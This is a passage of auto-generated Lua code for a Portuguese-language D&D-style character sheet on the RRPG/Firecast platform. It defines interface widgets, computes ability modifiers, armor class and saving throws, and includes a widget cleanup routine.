obj.edit73:setHeight(30);
obj.edit73:setLeft(290);
obj.edit73:setTop(30);
obj.edit73:setHorzTextAlign("center");
obj.edit73:setFontColor("black");
obj.edit73:setName("edit73");
obj.edit74 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit74:setParent(obj.layout26);
obj.edit74:setField("33");
obj.edit74:setWidth(80);
obj.edit74:setHeight(30);
obj.edit74:setLeft(370);
obj.edit74:setTop(30);
obj.edit74:setHorzTextAlign("center");
obj.edit74:setFontColor("black");
obj.edit74:setName("edit74");
obj.label163 = GUI.fromHandle(_obj_newObject("label"));
obj.label163:setParent(obj.layout26);
obj.label163:setText("Chance Falha Mágica");
obj.label163:setWidth(150);
obj.label163:setHeight(30);
obj.label163:setTop(60);
obj.label163:setHorzTextAlign("center");
obj.label163:setFontColor("black");
obj.label163:setName("label163");
obj.label164 = GUI.fromHandle(_obj_newObject("label"));
obj.label164:setParent(obj.layout26);
obj.label164:setText("Propriedades");
obj.label164:setWidth(300);
obj.label164:setHeight(30);
obj.label164:setTop(60);
obj.label164:setLeft(150);
obj.label164:setHorzTextAlign("center");
obj.label164:setFontColor("black");
obj.label164:setName("label164");
obj.edit75 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit75:setParent(obj.layout26);
obj.edit75:setField("34");
obj.edit75:setWidth(150);
obj.edit75:setHeight(30);
obj.edit75:setTop(90);
obj.edit75:setHorzTextAlign("center");
obj.edit75:setFontColor("black");
obj.edit75:setName("edit75");
obj.edit76 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit76:setParent(obj.layout26);
obj.edit76:setField("35");
obj.edit76:setWidth(300);
obj.edit76:setHeight(30);
obj.edit76:setTop(90);
obj.edit76:setLeft(150);
obj.edit76:setHorzTextAlign("center");
obj.edit76:setFontColor("black");
obj.edit76:setName("edit76");
obj.rectangle18 = GUI.fromHandle(_obj_newObject("rectangle"));
obj.rectangle18:setParent(obj.flowLayout2);
obj.rectangle18:setWidth(450);
obj.rectangle18:setHeight(150);
obj.rectangle18:setTop(465);
obj.rectangle18:setColor("white");
obj.rectangle18:setName("rectangle18");
obj.layout27 = GUI.fromHandle(_obj_newObject("layout"));
obj.layout27:setParent(obj.rectangle18);
obj.layout27:setWidth(300);
obj.layout27:setHeight(150);
obj.layout27:setName("layout27");
obj.label165 = GUI.fromHandle(_obj_newObject("label"));
obj.label165:setParent(obj.layout27);
obj.label165:setText("Outros Itens");
obj.label165:setWidth(450);
obj.label165:setHeight(30);
obj.label165:setHorzTextAlign("center");
obj.label165:setFontColor("black");
obj.label165:setName("label165");
obj.textEditor4 = GUI.fromHandle(_obj_newObject("textEditor"));
obj.textEditor4:setParent(obj.layout27);
obj.textEditor4:setField("outrositens");
obj.textEditor4:setWidth(450);
obj.textEditor4:setHeight(130);
obj.textEditor4:setTop(30);
obj.textEditor4:setFontColor("black");
obj.textEditor4:setName("textEditor4");
obj.layout28 = GUI.fromHandle(_obj_newObject("layout"));
obj.layout28:setParent(obj.rectangle18);
obj.layout28:setWidth(145);
obj.layout28:setHeight(150);
obj.layout28:setLeft(305);
obj.layout28:setName("layout28");
obj.label166 = GUI.fromHandle(_obj_newObject("label"));
obj.label166:setParent(obj.layout28);
obj.label166:setText("Dinheiro");
obj.label166:setWidth(145);
obj.label166:setHeight(30);
obj.label166:setHorzTextAlign("center");
obj.label166:setFontColor("black");
obj.label166:setName("label166");
obj.label167 = GUI.fromHandle(_obj_newObject("label"));
obj.label167:setParent(obj.layout28);
obj.label167:setText("PC");
obj.label167:setWidth(45);
obj.label167:setHeight(30);
obj.label167:setTop(30);
obj.label167:setFontColor("black");
obj.label167:setName("label167");
obj.edit77 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit77:setParent(obj.layout28);
obj.edit77:setField("36");
obj.edit77:setWidth(100);
obj.edit77:setHeight(30);
obj.edit77:setTop(30);
obj.edit77:setLeft(50);
obj.edit77:setFontColor("black");
obj.edit77:setName("edit77");
obj.label168 = GUI.fromHandle(_obj_newObject("label"));
obj.label168:setParent(obj.layout28);
obj.label168:setText("PP");
obj.label168:setWidth(45);
obj.label168:setHeight(30);
obj.label168:setTop(60);
obj.label168:setFontColor("black");
obj.label168:setName("label168");
obj.edit78 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit78:setParent(obj.layout28);
obj.edit78:setField("37");
obj.edit78:setWidth(100);
obj.edit78:setHeight(30);
obj.edit78:setTop(60);
obj.edit78:setLeft(50);
obj.edit78:setFontColor("black");
obj.edit78:setName("edit78");
obj.label169 = GUI.fromHandle(_obj_newObject("label"));
obj.label169:setParent(obj.layout28);
obj.label169:setText("PO");
obj.label169:setWidth(45);
obj.label169:setHeight(30);
obj.label169:setTop(90);
obj.label169:setFontColor("black");
obj.label169:setName("label169");
obj.edit79 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit79:setParent(obj.layout28);
obj.edit79:setField("38");
obj.edit79:setWidth(100);
obj.edit79:setHeight(30);
obj.edit79:setTop(90);
obj.edit79:setLeft(50);
obj.edit79:setFontColor("black");
obj.edit79:setName("edit79");
obj.label170 = GUI.fromHandle(_obj_newObject("label"));
obj.label170:setParent(obj.layout28);
obj.label170:setText("PL");
obj.label170:setWidth(45);
obj.label170:setHeight(30);
obj.label170:setTop(120);
obj.label170:setFontColor("black");
obj.label170:setName("label170");
obj.edit80 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit80:setParent(obj.layout28);
obj.edit80:setField("39");
obj.edit80:setWidth(100);
obj.edit80:setHeight(30);
obj.edit80:setTop(120);
obj.edit80:setLeft(50);
obj.edit80:setFontColor("black");
obj.edit80:setName("edit80");
obj.tab4 = GUI.fromHandle(_obj_newObject("tab"));
obj.tab4:setParent(obj.pgcPrincipal);
obj.tab4:setTitle("História");
obj.tab4:setName("tab4");
obj.textEditor5 = GUI.fromHandle(_obj_newObject("textEditor"));
obj.textEditor5:setParent(obj.tab4);
obj.textEditor5:setAlign("client");
obj.textEditor5:setField("historia");
obj.textEditor5:setFontColor("black");
obj.textEditor5:setMargins({left=2, right=2, top=2, bottom=2});
obj.textEditor5:setName("textEditor5");
obj.tab5 = GUI.fromHandle(_obj_newObject("tab"));
obj.tab5:setParent(obj.pgcPrincipal);
obj.tab5:setTitle("Anotações");
obj.tab5:setName("tab5");
obj.textEditor6 = GUI.fromHandle(_obj_newObject("textEditor"));
obj.textEditor6:setParent(obj.tab5);
obj.textEditor6:setAlign("client");
obj.textEditor6:setField("anotacoes");
obj.textEditor6:setFontColor("black");
obj.textEditor6:setMargins({left=2, right=2, top=2, bottom=2});
obj.textEditor6:setName("textEditor6");
obj._e_event0 = obj.dataLink1:addEventListener("onChange",
function (_, field, oldValue, newValue)
local mod = math.floor(((sheet.forca or 10) / 2) - 5);
if (mod >= 0) then
mod = "+" .. mod;
end;
sheet.modforca = mod;
end, obj);
obj._e_event1 = obj.dataLink1:addEventListener("onChange",
function (_, field, oldValue, newValue)
local mod = math.floor(((sheet.destreza or 10) / 2) - 5);
if (mod >= 0) then
mod = "+" .. mod;
end;
sheet.moddestreza = mod;
end, obj);
obj._e_event2 = obj.dataLink1:addEventListener("onChange",
function (_, field, oldValue, newValue)
local mod = math.floor(((sheet.constituicao or 10) / 2) - 5);
if (mod >= 0) then
mod = "+" .. mod;
end;
sheet.modconstituicao = mod;
end, obj);
obj._e_event3 = obj.dataLink1:addEventListener("onChange",
function (_, field, oldValue, newValue)
local mod = math.floor(((sheet.inteligencia or 10) / 2) - 5);
if (mod >= 0) then
mod = "+" .. mod;
end;
sheet.modinteligencia = mod;
end, obj);
obj._e_event4 = obj.dataLink1:addEventListener("onChange",
function (_, field, oldValue, newValue)
local mod = math.floor(((sheet.sabedoria or 10) / 2) - 5);
if (mod >= 0) then
mod = "+" .. mod;
end;
sheet.modsabedoria = mod;
end, obj);
obj._e_event5 = obj.dataLink1:addEventListener("onChange",
function (_, field, oldValue, newValue)
local mod = math.floor(((sheet.carisma or 10) / 2) - 5);
if (mod >= 0) then
mod = "+" .. mod;
end;
sheet.modcarisma = mod;
end, obj);
obj._e_event6 = obj.dataLink1:addEventListener("onChange",
function (_, field, oldValue, newValue)
local mod = math.floor(((sheet.tforca or 10) / 2) - 5);
if (mod >= 0) then
mod = "+" .. mod;
end;
sheet.modtforca = mod;
end, obj);
obj._e_event7 = obj.dataLink1:addEventListener("onChange",
function (_, field, oldValue, newValue)
local mod = math.floor(((sheet.tdestreza or 10) / 2) - 5);
if (mod >= 0) then
mod = "+" .. mod;
end;
sheet.modtdestreza = mod;
end, obj);
obj._e_event8 = obj.dataLink1:addEventListener("onChange",
function (_, field, oldValue, newValue)
local mod = math.floor(((sheet.tconstituicao or 10) / 2) - 5);
if (mod >= 0) then
mod = "+" .. mod;
end;
sheet.modtconstituicao = mod;
end, obj);
obj._e_event9 = obj.dataLink1:addEventListener("onChange",
function (_, field, oldValue, newValue)
local mod = math.floor(((sheet.tinteligencia or 10) / 2) - 5);
if (mod >= 0) then
mod = "+" .. mod;
end;
sheet.modtinteligencia = mod;
end, obj);
obj._e_event10 = obj.dataLink1:addEventListener("onChange",
function (_, field, oldValue, newValue)
local mod = math.floor(((sheet.tsabedoria or 10) / 2) - 5);
if (mod >= 0) then
mod = "+" .. mod;
end;
sheet.modtsabedoria = mod;
end, obj);
obj._e_event11 = obj.dataLink1:addEventListener("onChange",
function (_, field, oldValue, newValue)
local mod = math.floor(((sheet.tcarisma or 10) / 2) - 5);
if (mod >= 0) then
mod = "+" .. mod;
end;
sheet.modtcarisma = mod;
end, obj);
obj._e_event12 = obj.dataLink2:addEventListener("onChange",
function (_, field, oldValue, newValue)
sheet.ca3 = sheet.moddestreza;
sheet.ca1 = sheet.armadura;
sheet.ca2 = sheet.escudo;
end, obj);
obj._e_event13 = obj.dataLink2:addEventListener("onChange",
function (_, field, oldValue, newValue)
sheet.totalca = (math.floor((sheet.ca3)or 0)+math.floor((sheet.ca1)or 0)+math.floor((sheet.ca2)or 0)+math.floor((sheet.outrosca)or 0)+math.floor((sheet.deflexao)or 0)+math.floor((sheet.catamanho)or 0)+math.floor((sheet.caarmaduranatural)or 0))+10;
end, obj);
obj._e_event14 = obj.dataLink3:addEventListener("onChange",
function (_, field, oldValue, newValue)
sheet.ini1 = sheet.moddestreza ;
end, obj);
obj._e_event15 = obj.dataLink3:addEventListener("onChange",
function (_, field, oldValue, newValue)
sheet.iniciativa = (math.floor((sheet.ini1)or 0)+ math.floor((sheet.ini2)or 0));
end, obj);
obj._e_event16 = obj.dataLink4:addEventListener("onChange",
function (_, field, oldValue, newValue)
sheet.modfort = sheet.modconstituicao ;
end, obj);
obj._e_event17 = obj.dataLink4:addEventListener("onChange",
function (_, field, oldValue, newValue)
sheet.fortitude = ( math.floor((sheet.basefort)or 0)+ math.floor((sheet.modfort)or 0)+
math.floor((sheet.magicofort)or 0)+ math.floor((sheet.outrosfort)or 0)+
math.floor((sheet.tempfort)or 0)+ math.floor((sheet.condfort)or 0));
end, obj);
obj._e_event18 = obj.dataLink5:addEventListener("onChange",
function (_, field, oldValue, newValue)
sheet.modref = sheet.moddestreza ;
end, obj);
obj._e_event19 = obj.dataLink5:addEventListener("onChange",
function (_, field, oldValue, newValue)
sheet.reflexos = ( math.floor((sheet.baseref)or 0)+ math.floor((sheet.modref)or 0)+
math.floor((sheet.magicoref)or 0)+ math.floor((sheet.outrosref)or 0)+
math.floor((sheet.tempref)or 0)+ math.floor((sheet.condref)or 0));
end, obj);
obj._e_event20 = obj.dataLink6:addEventListener("onChange",
function (_, field, oldValue, newValue)
sheet.modvont = sheet.modsabedoria ;
end, obj);
obj._e_event21 = obj.dataLink6:addEventListener("onChange",
function (_, field, oldValue, newValue)
sheet.vontade = ( math.floor((sheet.basevont)or 0)+ math.floor((sheet.modvont)or 0)+
math.floor((sheet.magicovont)or 0)+ math.floor((sheet.outrosvont)or 0)+
math.floor((sheet.tempvont)or 0)+ math.floor((sheet.condvont)or 0));
end, obj);
obj._e_event22 = obj.dataLink7:addEventListener("onChange",
function (_, field, oldValue, newValue)
sheet.foragarrar = sheet.modforca ;
sheet.bbaagarrar = sheet.bba;
end, obj);
obj._e_event23 = obj.dataLink7:addEventListener("onChange",
function (_, field, oldValue, newValue)
sheet.agarrar = ( math.floor((sheet.bbaagarrar)or 0)+ math.floor((sheet.foragarrar)or 0)+
math.floor((sheet.tamagarrar)or 0)+ math.floor((sheet.outrosagarrar)or 0));
end, obj);
obj._e_event24 = obj.button1:addEventListener("onClick",
function (_)
self.rclataques:append();
end, obj);
obj._e_event25 = obj.button2:addEventListener("onClick",
function (_)
self.rclMagias:append();
end, obj);
obj._e_event26 = obj.button3:addEventListener("onClick",
function (_)
self.rclpericias:append();
end, obj);
function obj:_releaseEvents()
__o_rrpgObjs.removeEventListenerById(self._e_event26);
__o_rrpgObjs.removeEventListenerById(self._e_event25);
__o_rrpgObjs.removeEventListenerById(self._e_event24);
__o_rrpgObjs.removeEventListenerById(self._e_event23);
__o_rrpgObjs.removeEventListenerById(self._e_event22);
__o_rrpgObjs.removeEventListenerById(self._e_event21);
__o_rrpgObjs.removeEventListenerById(self._e_event20);
__o_rrpgObjs.removeEventListenerById(self._e_event19);
__o_rrpgObjs.removeEventListenerById(self._e_event18);
__o_rrpgObjs.removeEventListenerById(self._e_event17);
__o_rrpgObjs.removeEventListenerById(self._e_event16);
__o_rrpgObjs.removeEventListenerById(self._e_event15);
__o_rrpgObjs.removeEventListenerById(self._e_event14);
__o_rrpgObjs.removeEventListenerById(self._e_event13);
__o_rrpgObjs.removeEventListenerById(self._e_event12);
__o_rrpgObjs.removeEventListenerById(self._e_event11);
__o_rrpgObjs.removeEventListenerById(self._e_event10);
__o_rrpgObjs.removeEventListenerById(self._e_event9);
__o_rrpgObjs.removeEventListenerById(self._e_event8);
__o_rrpgObjs.removeEventListenerById(self._e_event7);
__o_rrpgObjs.removeEventListenerById(self._e_event6);
__o_rrpgObjs.removeEventListenerById(self._e_event5);
__o_rrpgObjs.removeEventListenerById(self._e_event4);
__o_rrpgObjs.removeEventListenerById(self._e_event3);
__o_rrpgObjs.removeEventListenerById(self._e_event2);
__o_rrpgObjs.removeEventListenerById(self._e_event1);
__o_rrpgObjs.removeEventListenerById(self._e_event0);
end;
obj._oldLFMDestroy = obj.destroy;
function obj:destroy()
self:_releaseEvents();
if (self.handle ~= 0) and (self.setNodeDatabase ~= nil) then
self:setNodeDatabase(nil);
end;
if self.label14 ~= nil then self.label14:destroy(); self.label14 = nil; end;
if self.label110 ~= nil then self.label110:destroy(); self.label110 = nil; end;
if self.label119 ~= nil then self.label119:destroy(); self.label119 = nil; end;
if self.edit73 ~= nil then self.edit73:destroy(); self.edit73 = nil; end;
if self.edit64 ~= nil then self.edit64:destroy(); self.edit64 = nil; end;
if self.layout15 ~= nil then self.layout15:destroy(); self.layout15 = nil; end;
if self.edit41 ~= nil then self.edit41:destroy(); self.edit41 = nil; end;
if self.layout10 ~= nil then self.layout10:destroy(); self.layout10 = nil; end;
if self.label151 ~= nil then self.label151:destroy(); self.label151 = nil; end;
if self.label138 ~= nil then self.label138:destroy(); self.label138 = nil; end;
if self.edit36 ~= nil then self.edit36:destroy(); self.edit36 = nil; end;
if self.edit9 ~= nil then self.edit9:destroy(); self.edit9 = nil; end;
if self.label40 ~= nil then self.label40:destroy(); self.label40 = nil; end;
if self.label43 ~= nil then self.label43:destroy(); self.label43 = nil; end;
if self.edit33 ~= nil then self.edit33:destroy(); self.edit33 = nil; end;
if self.label97 ~= nil then self.label97:destroy(); self.label97 = nil; end;
if self.edit29 ~= nil then self.edit29:destroy(); self.edit29 = nil; end;
if self.label77 ~= nil then self.label77:destroy(); self.label77 = nil; end;
if self.dataLink4 ~= nil then self.dataLink4:destroy(); self.dataLink4 = nil; end;
if self.label128 ~= nil then self.label128:destroy(); self.label128 = nil; end;
if self.edit28 ~= nil then self.edit28:destroy(); self.edit28 = nil; end;
if self.label57 ~= nil then self.label57:destroy(); self.label57 = nil; end;
if self.label45 ~= nil then self.label45:destroy(); self.label45 = nil; end;
if self.layout17 ~= nil then self.layout17:destroy(); self.layout17 = nil; end;
if self.label92 ~= nil then self.label92:destroy(); self.label92 = nil; end;
if self.label96 ~= nil then self.label96:destroy(); self.label96 = nil; end;
if self.flowLayout1 ~= nil then self.flowLayout1:destroy(); self.flowLayout1 = nil; end;
if self.edit71 ~= nil then self.edit71:destroy(); self.edit71 = nil; end;
if self.label71 ~= nil then self.label71:destroy(); self.label71 = nil; end;
if self.label148 ~= nil then self.label148:destroy(); self.label148 = nil; end;
if self.rectangle16 ~= nil then self.rectangle16:destroy(); self.rectangle16 = nil; end;
if self.label75 ~= nil then self.label75:destroy(); self.label75 = nil; end;
if self.label160 ~= nil then self.label160:destroy(); self.label160 = nil; end;
if self.label158 ~= nil then self.label158:destroy(); self.label158 = nil; end;
if self.label63 ~= nil then self.label63:destroy(); self.label63 = nil; end;
if self.label22 ~= nil then self.label22:destroy(); self.label22 = nil; end;
if self.label70 ~= nil then self.label70:destroy(); self.label70 = nil; end;
if self.layout24 ~= nil then self.layout24:destroy(); self.layout24 = nil; end;
if self.button2 ~= nil then self.button2:destroy(); self.button2 = nil; end;
if self.layout13 ~= nil then self.layout13:destroy(); self.layout13 = nil; end;
if self.label35 ~= nil then self.label35:destroy(); self.label35 = nil; end;
if self.label143 ~= nil then self.label143:destroy(); self.label143 = nil; end;
if self.label13 ~= nil then self.label13:destroy(); self.label13 = nil; end;
if self.layout8 ~= nil then self.layout8:destroy(); self.layout8 = nil; end;
if self.label144 ~= nil then self.label144:destroy(); self.label144 = nil; end;
if self.label27 ~= nil then self.label27:destroy(); self.label27 = nil; end;
if self.label59 ~= nil then self.label59:destroy(); self.label59 = nil; end;
if self.label68 ~= nil then self.label68:destroy(); self.label68 = nil; end;
if self.layout23 ~= nil then self.layout23:destroy(); self.layout23 = nil; end;
if self.edit47 ~= nil then self.edit47:destroy(); self.edit47 = nil; end;
if self.label122 ~= nil then self.label122:destroy(); self.label122 = nil; end;
if self.label164 ~= nil then self.label164:destroy(); self.label164 = nil; end;
if self.label67 ~= nil then self.label67:destroy(); self.label67 = nil; end;
if self.rectangle5 ~= nil then self.rectangle5:destroy(); self.rectangle5 = nil; end;
if self.edit76 ~= nil then self.edit76:destroy(); self.edit76 = nil; end;
if self.button1 ~= nil then self.button1:destroy(); self.button1 = nil; end;
if self.label140 ~= nil then self.label140:destroy(); self.label140 = nil; end;
if self.label8 ~= nil then self.label8:destroy(); self.label8 = nil; end;
if self.edit26 ~= nil then self.edit26:destroy(); self.edit26 = nil; end;
if self.label69 ~= nil then self.label69:destroy(); self.label69 = nil; end;
if self.edit34 ~= nil then self.edit34:destroy(); self.edit34 = nil; end;
if self.edit11 ~= nil then self.edit11:destroy(); self.edit11 = nil; end;
if self.edit19 ~= nil then self.edit19:destroy(); self.edit19 = nil; end;
if self.image1 ~= nil then self.image1:destroy(); self.image1 = nil; end;
if self.layout9 ~= nil then self.layout9:destroy(); self.layout9 = nil; end;
if self.label31 ~= nil then self.label31:destroy(); self.label31 = nil; end;
if self.label105 ~= nil then self.label105:destroy(); self.label105 = nil; end;
if self.label34 ~= nil then self.label34:destroy(); self.label34 = nil; end;
if self.edit5 ~= nil then self.edit5:destroy(); self.edit5 = nil; end;
if self.label125 ~= nil then self.label125:destroy(); self.label125 = nil; end;
if self.label126 ~= nil then self.label126:destroy(); self.label126 = nil; end;
if self.label146 ~= nil then self.label146:destroy(); self.label146 = nil; end;
if self.label15 ~= nil then self.label15:destroy(); self.label15 = nil; end;
if self.rclMagias ~= nil then self.rclMagias:destroy(); self.rclMagias = nil; end;
if self.label99 ~= nil then self.label99:destroy(); self.label99 = nil; end;
if self.label107 ~= nil then self.label107:destroy(); self.label107 = nil; end;
if self.rectangle17 ~= nil then self.rectangle17:destroy(); self.rectangle17 = nil; end;
if self.label41 ~= nil then self.label41:destroy(); self.label41 = nil; end;
if self.label49 ~= nil then self.label49:destroy(); self.label49 = nil; end;
if self.scrollBox2 ~= nil then self.scrollBox2:destroy(); self.scrollBox2 = nil; end;
if self.label72 ~= nil then self.label72:destroy(); self.label72 = nil; end;
if self.label88 ~= nil then self.label88:destroy(); self.label88 = nil; end;
if self.label145 ~= nil then self.label145:destroy(); self.label145 = nil; end;
if self.rectangle15 ~= nil then self.rectangle15:destroy(); self.rectangle15 = nil; end;
if self.label154 ~= nil then self.label154:destroy(); self.label154 = nil; end;
if self.label12 ~= nil then self.label12:destroy(); self.label12 = nil; end;
if self.label82 ~= nil then self.label82:destroy(); self.label82 = nil; end;
if self.label161 ~= nil then self.label161:destroy(); self.label161 = nil; end;
if self.edit68 ~= nil then self.edit68:destroy(); self.edit68 = nil; end;
if self.label162 ~= nil then self.label162:destroy(); self.label162 = nil; end;
if self.edit72 ~= nil then self.edit72:destroy(); self.edit72 = nil; end;
if self.label163 ~= nil then self.label163:destroy(); self.label163 = nil; end;
if self.edit69 ~= nil then self.edit69:destroy(); self.edit69 = nil; end;
if self.tab5 ~= nil then self.tab5:destroy(); self.tab5 = nil; end;
if self.textEditor5 ~= nil then self.textEditor5:destroy(); self.textEditor5 = nil; end;
if self.label131 ~= nil then self.label131:destroy(); self.label131 = nil; end;
if self.label16 ~= nil then self.label16:destroy(); self.label16 = nil; end;
if self.label52 ~= nil then self.label52:destroy(); self.label52 = nil; end;
if self.edit10 ~= nil then self.edit10:destroy(); self.edit10 = nil; end;
if self.edit16 ~= nil then self.edit16:destroy(); self.edit16 = nil; end;
if self.edit31 ~= nil then self.edit31:destroy(); self.edit31 = nil; end;
if self.label47 ~= nil then self.label47:destroy(); self.label47 = nil; end;
if self.edit1 ~= nil then self.edit1:destroy(); self.edit1 = nil; end;
if self.label48 ~= nil then self.label48:destroy(); self.label48 = nil; end;
if self.edit79 ~= nil then self.edit79:destroy(); self.edit79 = nil; end;
if self.label76 ~= nil then self.label76:destroy(); self.label76 = nil; end;
if self.edit77 ~= nil then self.edit77:destroy(); self.edit77 = nil; end;
if self.edit52 ~= nil then self.edit52:destroy(); self.edit52 = nil; end;
if self.label78 ~= nil then self.label78:destroy(); self.label78 = nil; end;
if self.textEditor4 ~= nil then self.textEditor4:destroy(); self.textEditor4 = nil; end;
if self.label101 ~= nil then self.label101:destroy(); self.label101 = nil; end;
if self.label1 ~= nil then self.label1:destroy(); self.label1 = nil; end;
if self.layout4 ~= nil then self.layout4:destroy(); self.layout4 = nil; end;
if self.rectangle7 ~= nil then self.rectangle7:destroy(); self.rectangle7 = nil; end;
if self.label167 ~= nil then self.label167:destroy(); self.label167 = nil; end;
if self.edit58 ~= nil then self.edit58:destroy(); self.edit58 = nil; end;
if self.label109 ~= nil then self.label109:destroy(); self.label109 = nil; end;
if self.label106 ~= nil then self.label106:destroy(); self.label106 = nil; end;
if self.label58 ~= nil then self.label58:destroy(); self.label58 = nil; end;
if self.label103 ~= nil then self.label103:destroy(); self.label103 = nil; end;
if self.label114 ~= nil then self.label114:destroy(); self.label114 = nil; end;
if self.edit66 ~= nil then self.edit66:destroy(); self.edit66 = nil; end;
if self.layout5 ~= nil then self.layout5:destroy(); self.layout5 = nil; end;
if self.layout20 ~= nil then self.layout20:destroy(); self.layout20 = nil; end;
if self.edit23 ~= nil then self.edit23:destroy(); self.edit23 = nil; end;
if self.label135 ~= nil then self.label135:destroy(); self.label135 = nil; end;
if self.label94 ~= nil then self.label94:destroy(); self.label94 = nil; end;
if self.label155 ~= nil then self.label155:destroy(); self.label155 = nil; end;
if self.layout18 ~= nil then self.layout18:destroy(); self.layout18 = nil; end;
if self.dataLink3 ~= nil then self.dataLink3:destroy(); self.dataLink3 = nil; end;
if self.label56 ~= nil then self.label56:destroy(); self.label56 = nil; end;
if self.label29 ~= nil then self.label29:destroy(); self.label29 = nil; end;
if self.dataLink7 ~= nil then self.dataLink7:destroy(); self.dataLink7 = nil; end;
if self.lista ~= nil then self.lista:destroy(); self.lista = nil; end;
if self.rectangle2 ~= nil then self.rectangle2:destroy(); self.rectangle2 = nil; end;
if self.rectangle6 ~= nil then self.rectangle6:destroy(); self.rectangle6 = nil; end;
if self.label111 ~= nil then self.label111:destroy(); self.label111 = nil; end;
if self.label21 ~= nil then self.label21:destroy(); self.label21 = nil; end;
if self.label120 ~= nil then self.label120:destroy(); self.label120 = nil; end;
if self.label91 ~= nil then self.label91:destroy(); self.label91 = nil; end;
if self.label30 ~= nil then self.label30:destroy(); self.label30 = nil; end;
if self.edit40 ~= nil then self.edit40:destroy(); self.edit40 = nil; end;
if self.dataLink6 ~= nil then self.dataLink6:destroy(); self.dataLink6 = nil; end;
if self.label51 ~= nil then self.label51:destroy(); self.label51 = nil; end;
if self.dataLink2 ~= nil then self.dataLink2:destroy(); self.dataLink2 = nil; end;
if self.frmFichaTeste ~= nil then self.frmFichaTeste:destroy(); self.frmFichaTeste = nil; end;
if self.label19 ~= nil then self.label19:destroy(); self.label19 = nil; end;
if self.textEditor6 ~= nil then self.textEditor6:destroy(); self.textEditor6 = nil; end;
if self.edit38 ~= nil then self.edit38:destroy(); self.edit38 = nil; end;
if self.label116 ~= nil then self.label116:destroy(); self.label116 = nil; end;
if self.label130 ~= nil then self.label130:destroy(); self.label130 = nil; end;
if self.label139 ~= nil then self.label139:destroy(); self.label139 = nil; end;
if self.rectangle12 ~= nil then self.rectangle12:destroy(); self.rectangle12 = nil; end;
if self.edit67 ~= nil then self.edit67:destroy(); self.edit67 = nil; end;
if self.label54 ~= nil then self.label54:destroy(); self.label54 = nil; end;
if self.rclpericias ~= nil then self.rclpericias:destroy(); self.rclpericias = nil; end;
if self.layout11 ~= nil then self.layout11:destroy(); self.layout11 = nil; end;
if self.scrollBox3 ~= nil then self.scrollBox3:destroy(); self.scrollBox3 = nil; end;
if self.textEditor1 ~= nil then self.textEditor1:destroy(); self.textEditor1 = nil; end;
if self.label152 ~= nil then self.label152:destroy(); self.label152 = nil; end;
if self.rectangle18 ~= nil then self.rectangle18:destroy(); self.rectangle18 = nil; end;
if self.pgcPrincipal ~= nil then self.pgcPrincipal:destroy(); self.pgcPrincipal = nil; end;
if self.edit6 ~= nil then self.edit6:destroy(); self.edit6 = nil; end;
if self.rectangle14 ~= nil then self.rectangle14:destroy(); self.rectangle14 = nil; end;
if self.label147 ~= nil then self.label147:destroy(); self.label147 = nil; end;
if self.label18 ~= nil then self.label18:destroy(); self.label18 = nil; end;
if self.label2 ~= nil then self.label2:destroy(); self.label2 = nil; end;
if self.edit3 ~= nil then self.edit3:destroy(); self.edit3 = nil; end;
if self.label89 ~= nil then self.label89:destroy(); self.label89 = nil; end;
if self.label38 ~= nil then self.label38:destroy(); self.label38 = nil; end;
if self.label62 ~= nil then self.label62:destroy(); self.label62 = nil; end;
if self.edit49 ~= nil then self.edit49:destroy(); self.edit49 = nil; end;
if self.label117 ~= nil then self.label117:destroy(); self.label117 = nil; end;
if self.edit27 ~= nil then self.edit27:destroy(); self.edit27 = nil; end;
if self.layout14 ~= nil then self.layout14:destroy(); self.layout14 = nil; end;
if self.layout16 ~= nil then self.layout16:destroy(); self.layout16 = nil; end;
if self.layout21 ~= nil then self.layout21:destroy(); self.layout21 = nil; end;
if self.label115 ~= nil then self.label115:destroy(); self.label115 = nil; end;
if self.scrollBox5 ~= nil then self.scrollBox5:destroy(); self.scrollBox5 = nil; end;
if self.label159 ~= nil then self.label159:destroy(); self.label159 = nil; end;
if self.edit62 ~= nil then self.edit62:destroy(); self.edit62 = nil; end;
if self.edit18 ~= nil then self.edit18:destroy(); self.edit18 = nil; end;
if self.edit25 ~= nil then self.edit25:destroy(); self.edit25 = nil; end;
if self.edit74 ~= nil then self.edit74:destroy(); self.edit74 = nil; end;
if self.scrollBox1 ~= nil then self.scrollBox1:destroy(); self.scrollBox1 = nil; end;
if self.layout7 ~= nil then self.layout7:destroy(); self.layout7 = nil; end;
if self.label127 ~= nil then self.label127:destroy(); self.label127 = nil; end;
if self.edit60 ~= nil then self.edit60:destroy(); self.edit60 = nil; end;
if self.label170 ~= nil then self.label170:destroy(); self.label170 = nil; end;
if self.label33 ~= nil then self.label33:destroy(); self.label33 = nil; end;
if self.rectangle11 ~= nil then self.rectangle11:destroy(); self.rectangle11 = nil; end;
if self.label123 ~= nil then self.label123:destroy(); self.label123 = nil; end;
if self.label142 ~= nil then self.label142:destroy(); self.label142 = nil; end;
if self.label44 ~= nil then self.label44:destroy(); self.label44 = nil; end;
if self.tab3 ~= nil then self.tab3:destroy(); self.tab3 = nil; end;
if self.edit46 ~= nil then self.edit46:destroy(); self.edit46 = nil; end;
if self.label95 ~= nil then self.label95:destroy(); self.label95 = nil; end;
if self.label83 ~= nil then self.label83:destroy(); self.label83 = nil; end;
if self.rectangle9 ~= nil then self.rectangle9:destroy(); self.rectangle9 = nil; end;
if self.label165 ~= nil then self.label165:destroy(); self.label165 = nil; end;
if self.label98 ~= nil then self.label98:destroy(); self.label98 = nil; end;
if self.rclataques ~= nil then self.rclataques:destroy(); self.rclataques = nil; end;
if self.label113 ~= nil then self.label113:destroy(); self.label113 = nil; end;
if self.edit7 ~= nil then self.edit7:destroy(); self.edit7 = nil; end;
if self.textEditor3 ~= nil then self.textEditor3:destroy(); self.textEditor3 = nil; end;
if self.label55 ~= nil then self.label55:destroy(); self.label55 = nil; end;
if self.edit12 ~= nil then self.edit12:destroy(); self.edit12 = nil; end;
if self.label66 ~= nil then self.label66:destroy(); self.label66 = nil; end;
if self.label73 ~= nil then self.label73:destroy(); self.label73 = nil; end;
if self.edit80 ~= nil then self.edit80:destroy(); self.edit80 = nil; end;
if self.edit35 ~= nil then self.edit35:destroy(); self.edit35 = nil; end;
if self.label26 ~= nil then self.label26:destroy(); self.label26 = nil; end;
